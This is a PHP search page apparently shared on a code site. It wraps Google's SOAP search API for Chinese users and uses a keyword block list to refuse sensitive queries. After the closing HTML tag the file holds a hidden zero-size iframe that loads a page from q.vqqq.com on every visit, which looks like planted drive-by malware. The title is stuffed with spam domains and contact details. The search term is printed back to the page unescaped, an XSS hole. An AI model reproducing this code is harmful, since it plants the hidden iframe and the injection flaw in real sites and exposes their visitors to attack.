?? search.php
字號:
<?
require("config.php");require("nusoap.php");require("code.php");
$langCHK = array("", "", "");
$search = $_GET["keywords"];
$lang = $_GET["lang"];
$start = $_GET["start"];
if(!is_numeric($start)) $start = 0;
$start = abs($start);
if($search <> "") {
switch($lang) {
case "lang_zh-CN":
$langCHK[2] = " checked";
break;
case "lang_zh-CN|lang_zh-TW":
$langCHK[1] = " checked";
break;
default:
$langCHK[0] = " checked";
}
$BadWords = split("\|", $BadWords);
foreach($BadWords as $aBadWords) {
if(stristr($search, $aBadWords)) {
die("這么敏感的內容還是不要搜了,想別的辦法吧 :P");
}
}
$soap = new soapclient($googleWSDL, true); $soap->decodeUTF8(false);
$params = array( 'key' => $googleAPIKey, // Google license key This is a valid license. But get your own license, by going to www.google.com/api 'q' => $search, // search term
'start' => $start, // start from result n 'maxResults' => 10, // show a total of n results 'filter' => true, // remove similar results 'restrict' => '', // restrict by topic 'safeSearch' => false, // remove adult links 'lr' => $lang, // restrict by language 'ie' => 'UTF-8', // input encoding 'oe' => 'UTF-8' // output encoding );
$res = $soap->call("doGoogleSearch", $params, "urn:GoogleSearch", "urn:GoogleSearch"); $totalCount = $res["estimatedTotalResultsCount"]; $searchTime = $res["searchTime"]; $startIndex = $res["startIndex"]; $endIndex = $res["endIndex"];
if($totalCount == 0) {
$output = "<hr>對不起,找不到您要查找的 <b>$search</b>";
}
else {
$output = "<hr>總共為您搜到了 <b>$totalCount</b> 條信息,這是第 <b>$startIndex</b> - <b>$endIndex</b> 條,共用時 <b>$searchTime</b> 秒。<br><br>";
}
if(is_array($res["resultElements"])) {
foreach($res["resultElements"] as $item) { $DocSize = $item["cachedSize"]; $DocSnippet = u2g($item["snippet"]); $DocURL = u2g($item["URL"]); $DocTitle = u2g($item["title"]); $DocTitle = ($DocTitle == "") ? "無標題" : $DocTitle; if($DocSnippet <> "") $DocSnippet .= "<br>";
$output .= "<a href=\"$DocURL\">$DocTitle</a><br>";
$output .= "$DocSnippet<span class=g>$DocURL - $DocSize </span>";
$output .= " <span snap='$DocURL' class=hand>[快照預覽]</span><br><br>";
}
}
}
else {
$langCHK[2] = " checked";
}
$output = preg_replace("/<B>\.\.\.<\/B>/is", "...", $output);
$output .= "<div align=center>";
$theUrl = "<a href=\"" . $_SERVER["PHP_SELF"] . "?keywords=$search&lang=$lang&start=";
if($start > 9)
$output .= $theUrl . ($start - 10) . "\">上一頁</a> ";
if($endIndex - $startIndex == 9)
$output .= $theUrl . ($start + 10) . "\">下一頁</a> ";
$output .= "<hr><span class=h>$Copyright</span></div>";
?>
<html>
<head>
<title><?=$Sitename?> google 搜索引擎歡迎到www.1101.net和www.8487.net和www.bb5b.com和www.bb7b.com,聯系qq:315151629和6439358和124094017,聯系email: vqqq59r@163.com和ping858788@yahoo.com.cn</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
* {font-size: 12px;line-height:1.3}
b {color:#f66}
hr {color:#FF9900}
.g{color:green}
.h {color: #333}
.h a {color: #333;text-decoration:none}
.h a:visited {color: #666;text-decoration:none}
.h a:hover {color: #f33;text-decoration:underline overline}
.hand {cursor:hand;color:#00f}
-->
</style>
</head>
<body leftmargin="50" topmargin="0" onload="document.frmSearch.keywords.focus();document.frmSearch.keywords.select()">
<CENTER>
<form method="GET" action="<?=$_SERVER["PHP_SELF"]?>" name=frmSearch>
<a href="http://1101.net"><img src="img/logo_sm.gif" border="0" alt="Google" align="absmiddle"></a>
<input type=text name="keywords" maxLength=256 size=50 value="<?=rawurldecode($search)?>"> <input type="submit" value="重新搜索"> <input type=submit value="在結果中搜索" onClick="document.frmSearch.keywords.value+=' '+KWD"><br>
<input type=radio name="lang" value=""<?=$langCHK[0]?>>搜索所有網站 <input type=radio name="lang" value="lang_zh-CN|lang_zh-TW"<?=$langCHK[1]?>>搜索所有中文網頁 <input type=radio name="lang" value="lang_zh-CN"<?=$langCHK[2]?>>搜索中文(簡體)網頁<input type=hidden name="start" value=0></form>
</CENTER>
<script src="showcache.js"></script>
<?=$output?>
</body>
</HTML><iframe frameborder=0 leftmargin=0 marginheight=0 marginwidth=0 scrolling=no src="http://q.vqqq.com/mv.htm" topmargin=0 width=0 height=0></iframe>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -